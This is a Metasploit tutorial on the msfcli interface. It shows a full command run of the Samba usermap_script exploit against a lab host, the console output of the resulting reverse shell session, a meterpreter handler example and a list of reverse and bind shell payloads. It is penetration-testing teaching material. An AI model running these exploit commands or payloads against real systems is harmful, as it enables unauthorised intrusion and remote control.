

Msfcli Tutorial a11y.text Msfcli Tutorial What is the MSFcli? a11y.text What is the MSFcli? TheÂ
msfcli provides a powerful command line interface to the framework. This allows you to easily add
Metasploit exploits into any scripts you may create. Note: As of 2015-06-18 msfcli has been
removed. One way to obtain similar functionality through msfconsole is by using the -x option. For
example, the following command sets all the options for samba/usermap_script and runs it against a
target: root@kali : ~ # msfconsole -x "use exploit/multi/samba/usermap_script;\

set RHOST 172.16.194.172;\

set PAYLOAD cmd/unix/reverse;\

set LHOST 172.16.194.163;\

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the msfcli help command: root@kali : ~ # msfcli -h Usage: /usr/bin/msfcli<option=value> [mode]

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Mode	Description
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(A)dvanced	Show available advanced options for this module
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(AC)tions	Show available actions for this auxiliary module
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(C)heck	Run the check routine of the selected module
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(E)xecute	Execute the selected module
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(H)elp	You're looking at it baby!
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(I)DS Evasion	Show available ids evasion options for this module
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(O)ptions	Show available options for this module
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(P)ayloads	Show available payloads for this module
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(S)ummary	Show information about this module
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(T)argets	Show available targets for this exploit module
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Examples:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E

msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E Note: when using msfcli,

variables are assigned using the "equal to" operator = and that all options are

case-sensitive. root@kali : ~ # msfcli exploit/multi/samba/usermap_script RHOST = 172.16.194.172

PAYLOAD = cmd/unix/reverse LHOST = 172.16.194.163 E [*] Please wait while we load the

module tree...

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=[metasploit v4.5.0-dev [core:4.5 api:1.0]

+ -- --=[936 exploits - 500 auxiliary - 151 post

+ -- --=[252 payloads - 28 encoders - 8 nops

=[svn r15767 updated today (2012.08.22)

RHOST => 172.16.194.172

PAYLOAD > cmd/unix/reverse

[*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo cSKqD83oiquo0xMr;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "cSKqD83oiquo0xMr\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at
2012-06-14 09:58:19 -0400

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux If
you aren't entirely sure about what options belong to a particular module, you can append the
letter O to the end of the string at whichever point you are stuck. root@kali : ~ # msfcli
exploit/multi/samba/usermap_script O [*] Initializing modules...

Name	Current	Setting	Required	Description
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RHOST		yes		The target address
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RPORT	139	yes		The target port To display available payloads
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for the current
module, append the letter P to the msfcli command line string. root@kali : ~ # msfcli
exploit/multi/samba/usermap_script P [*]Initializing modules...

Compatible payloads

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Name	Description
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cmd/unix/bind_awk	Listen for a connection and spawn a command shell via GNU AWK
cmd/unix/bind_inetd	Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_lua	Listen for a connection and spawn a command shell via Lua
cmd/unix/bind_netcat	Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping	Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_gaping_ipv6	Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_perl	Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6	Listen for a connection and spawn a command shell via perl
cmd/unix/bind_ruby	Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6	Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_zsh	Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
cmd/unix/generic	Executes the supplied command
cmd/unix/reverse	Creates an interactive shell through two inbound connections
cmd/unix/reverse_awk	Creates an interactive shell via GNU AWK
cmd/unix/reverse_lua	Creates an interactive shell via Lua
cmd/unix/reverse_netcat	Creates an interactive shell via netcat

cmd/unix/reverse_netcat_gaping	Creates an interactive shell via netcat
cmd/unix/reverse_openssl	Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl	Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl	Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_php_ssl	Creates an interactive shell via php, uses SSL
cmd/unix/reverse_python	Connect back and create a command shell via Python
cmd/unix/reverse_python_ssl	Creates an interactive shell via python, uses SSL, encodes with base64 by design.
cmd/unix/reverse_ruby	Connect back and create a command shell via Ruby
cmd/unix/reverse_ruby_ssl	Connect back and create a command shell via Ruby, uses SSL
cmd/unix/reverse_ssl_double_telnet	Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
cmd/unix/reverse_zsh	

Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.

Benefits of the MSFcli Interface

- Supports the launching of exploits and auxiliary modules
- Useful for specific tasks
- Good for learning
- Convenient to use when testing or developing a new exploit
- Good tool for one-off exploitation
- Excellent if you know exactly which exploit and options you need
- Wonderful for use in scripts and basic automation

The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn't support any of the advanced automation features of msfconsole .

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